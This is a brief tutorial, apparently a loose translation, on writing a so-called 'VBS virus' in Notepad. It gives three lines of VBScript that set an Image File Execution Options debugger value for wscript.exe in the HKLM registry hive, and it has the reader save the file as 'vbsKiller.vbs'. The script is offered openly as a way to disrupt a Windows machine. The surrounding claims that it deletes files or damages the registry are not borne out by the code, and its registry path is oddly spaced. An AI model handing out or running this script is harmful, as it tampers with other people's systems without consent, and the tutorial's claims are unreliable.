This is one of the most annoying which has easy process to create VBS virus, It only use Notepad tool to make the virus, and this notepad is provided by the Windows application. VBS virus can make disorder the regedit of computer system, even to remove (delete) its files. VBS virus can run the application using its auto run application namely wscript.exe which locates in the directory c: \ windows \ system32.

Open “Run” menu-> Notepad
Type the following code
· dim reg
· set reg = createobject ( "wscript.shell")
· reg.regwrite "HKLM \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ wscript.exe \ debugger", 1,"REG_SZ"

then, save the folder as "vbsKiller.vbs" and don’t forget to change “Save as type” as "All Files".
